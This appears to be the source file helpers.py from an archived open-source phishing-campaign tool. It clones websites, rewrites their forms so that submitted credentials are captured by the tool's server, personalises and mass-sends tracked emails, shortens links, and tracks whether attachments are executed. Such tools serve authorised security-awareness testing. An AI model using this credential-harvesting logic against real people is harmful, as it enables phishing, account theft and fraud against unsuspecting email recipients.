This repository was archived by the owner on Mar 15, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 56
/
Copy pathhelpers.py
363 lines (294 loc) · 11.7 KB
/
helpers.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
import copy
import traceback
import cchardet
from datetime import datetime
import bs4 as BeautifulSoup
import requests
from django.core.mail import EmailMultiAlternatives
from django.core.mail.backends.smtp import EmailBackend
from django.core.urlresolvers import reverse
from django.template import Context
from django.template import Template
from django.template.loader import render_to_string
from django.utils.translation import ugettext_lazy as _
from jinja2.sandbox import SandboxedEnvironment
from pyshorteners import Shortener
from mercure.settings import HOSTNAME
from phishing.signals import send_email, make_template_vars
from phishing.strings import TRACKER_LANDING_PAGE_OPEN, \
TRACKER_LANDING_PAGE_POST, POST_TRACKER_ID, TRACKER_EMAIL_OPEN, \
TRACKER_EMAIL_SEND, POST_DOMAIN, TRACKER_ATTACHMENT_EXECUTED
from .models import EmailTemplate, Target, Tracker
def clone_url(url):
"""Get http code of url.
:param url: url to clone
:return:
"""
# get html
if '://' not in url:
url = 'http://' + url
r = requests.get(url)
# We don't trust requests encoding so we use cchardet
# to detect real encoding
# Without it we got decode error (for example: baidu.com)
r.encoding = cchardet.detect(r.content)['encoding']
html = r.content.decode(r.encoding)
# set relative url rule
if '<base' not in html:
html = html.replace('<head>', '<head><base href="%s" />' % url)
return html
def get_template_vars(campaign=None, target=None, email_template=None):
"""Get template variable infos.
:param campaign: `.models.Campaign`
:param target: `.models.Target`
:param email_template: `.models.EmailTemplate`
:return: template variable infos
"""
landing_page_url = ''
# has landing page ?
if email_template and email_template.landing_page:
tracker = Tracker.objects.filter(
campaign=campaign,
target=target,
key=TRACKER_LANDING_PAGE_OPEN
).first()
if tracker:
landing_page_url = '%s%s' % (
email_template.landing_page.domain or HOSTNAME,
reverse('landing_page', args=[tracker.pk])
)
# minimize urls
if campaign and campaign.minimize_url:
landing_page_url = minimize_url(landing_page_url)
vars_data = [
{
'name': 'email',
'description': _('Target email'),
'value': target.email if target else ''
},
{
'name': 'first_name',
'description': _('Target first name'),
'value': target.first_name if target else ''
},
{
'name': 'last_name',
'description': _('Target last name'),
'value': target.last_name if target else ''
},
{
'name': 'email_subject',
'description': _('Current email subject'),
'value': email_template.email_subject if email_template else ''
},
{
'name': 'from_email',
'description': _('Current from email'),
'value': email_template.from_email if email_template else ''
},
{
'name': 'date',
'description': _('Current date in format DD/MM/YYYY'),
'value': datetime.now().strftime('%d/%m/%Y'),
},
{
'name': 'time',
'description': _('Current time in format HH:MM'),
'value': datetime.now().strftime('%H:%M'),
},
{
'name': 'landing_page_url',
'description': _('Url of landing page'),
'value': landing_page_url,
}
]
make_template_vars.send(sender=EmailTemplate, vars_data=vars_data,
campaign=campaign, target=target,
email_template=email_template)
return vars_data
def get_smtp_connection(campaign):
"""Get SMTP connection.
:param campaign: `.models.Campaign`
:return: SMTP connection
"""
if not campaign.smtp_host:
return None
options = {}
for attr in dir(campaign):
# get smtp infos
if attr.startswith('smtp_'):
index = attr.replace('smtp_', '')
value = getattr(campaign, attr)
# if port in host: extract port
if index == 'host' and ':' in value:
options['port'] = int(value.split(':')[-1])
value = value.split(':')[0]
# add value
if value:
options[index] = value
return EmailBackend(**options)
def intercept_html_post(html, redirect_url=None):
"""Edit form to intercept posted data
:param html: html page code
:param redirect_url: url to redirect post
:param is_secure: use https ?
:return: edited html page code
"""
soup = BeautifulSoup.BeautifulSoup(html, 'html5lib')
hostname_url = '/'.join(
redirect_url.split('/')[:3]) if redirect_url else ''
# replace form
for form in soup.find_all('form'):
action = form.get('action', '')
if redirect_url:
# special url
if action == '.':
action = redirect_url
elif action == '/':
action = hostname_url
elif action.startswith('/'):
action = hostname_url + action
# add action url in input hidden
if 'action' not in form or POST_DOMAIN not in form['action']:
form['action'] = 'http%s://%s%s' % (
's' if HOSTNAME.startswith('https') else '',
POST_DOMAIN,
reverse('landing_page_post', args=[POST_TRACKER_ID]),
)
# add real action url
if not form.find('input', {'name': 'mercure_real_action_url'}):
input = soup.new_tag('input', type='hidden', value=action)
input['name'] = 'mercure_real_action_url'
form.append(input)
# add redirect url
if not form.find('input', {'name': 'mercure_redirect_url'}):
value = redirect_url or form['action']
input = soup.new_tag('input', type='hidden', value=value)
input['name'] = 'mercure_redirect_url'
form.append(input)
return str(soup)
def minimize_url(url):
"""Minimise url
:param url: url to minimize
:return: url minimized
"""
return Shortener('Tinyurl', timeout=10.0).short(url) if url else ''
def render_jinja2(template, campaign=None, target=None,
email_template=None):
"""Replace vars in template
:param template: template content
:param campaign: `.models.Campaign`
:param target: `.models.Target`
:param email_template: `.models.EmailTemplate`
:return: content with value
"""
vars = get_template_vars(campaign, target, email_template)
env = SandboxedEnvironment()
context = {}
for v in vars:
context[v['name']] = v['value']
tpl = env.from_string(template)
return tpl.render(context)
def start_campaign(campaign):
"""Start campaign (Send email).
:param campaign: `.models.Campaign`
"""
email_template = campaign.email_template
landing_page = email_template.landing_page
smtp_connection = get_smtp_connection(campaign)
# send email
target_group_id = set([g.pk for g in campaign.target_groups.all()])
for target in Target.objects.filter(group_id__in=target_group_id):
# already send email ? (target in multiple group for example)
if Tracker.objects.filter(campaign_id=campaign.pk,
target__email=target.email).first():
continue
# add tracker helper function
def add_tracker(key, value, infos=None):
kwargs = {
'key': key,
'campaign': campaign,
'target': target,
'value': value,
}
if infos:
kwargs['infos'] = str(infos)
return Tracker.objects.create(**kwargs)
# replace template vars helper function
def replace_vars(content):
return render_jinja2(content, campaign, target,
email_template)
# send email
try:
target_email = copy.deepcopy(email_template)
attachments = []
for attachment in email_template.attachments.all():
if attachment.buildable:
tracker = add_tracker(TRACKER_ATTACHMENT_EXECUTED,
'%s: not executed' % attachment.name,
0)
attachment_file = attachment.build(tracker)
else:
attachment_file = attachment.file
attachments.append({
'filename': attachment.attachment_name,
'content': attachment_file.read()
})
# Signal for external app
send_email.send(sender=Tracker, campaign=campaign,
target=target, email_template=target_email,
smtp_connection=smtp_connection,
attachments=attachments)
# email open tracker
if email_template.has_open_tracker:
tracker = add_tracker(TRACKER_EMAIL_OPEN, 'not opened', 0)
# get content (for empty check)
content = target_email.html_content
for r in ('html', 'head', 'title', 'body', ' ', '<', '/',
'>'):
content = content.replace(r, '')
# convert txt to html (if html is empty)
if not content.strip():
target_email.html_content = render_to_string(
'phishing/email/to_html.html', {
'lines': target_email.text_content.split('\n')
})
# get html code of tracking image
tracking_img = render_to_string(
'phishing/email/tracker_image.html', {
'tracker_id': str(tracker.pk),
'host': HOSTNAME,
})
# add tracking image in email
if '</body>' in target_email.html_content:
target_email.html_content = target_email.html_content \
.replace('</body>', '%s</body>' % tracking_img)
else:
target_email.html_content += tracking_img
# landing page tracker
if landing_page:
add_tracker(TRACKER_LANDING_PAGE_OPEN, 'not opened', 0)
if POST_TRACKER_ID in landing_page.html:
add_tracker(TRACKER_LANDING_PAGE_POST, 'no', 0)
mail = EmailMultiAlternatives(
subject=replace_vars(target_email.email_subject),
body=replace_vars(target_email.text_content),
from_email=target_email.from_email,
to=[target.email], connection=smtp_connection
)
if target_email.html_content:
mail.attach_alternative(
replace_vars(target_email.html_content),
'text/html')
for attachment in attachments:
mail.attach(**attachment)
mail.send(fail_silently=False)
add_tracker(TRACKER_EMAIL_SEND, 'success')
except Exception:
add_tracker(TRACKER_EMAIL_SEND, 'fail', traceback.format_exc())
def to_hour_timestamp(datetime):
"""Get timestamp (without minutes and second)
:param datetime: datetime object
:return: timestamp
"""
return int(datetime.timestamp() / 3600) * 3600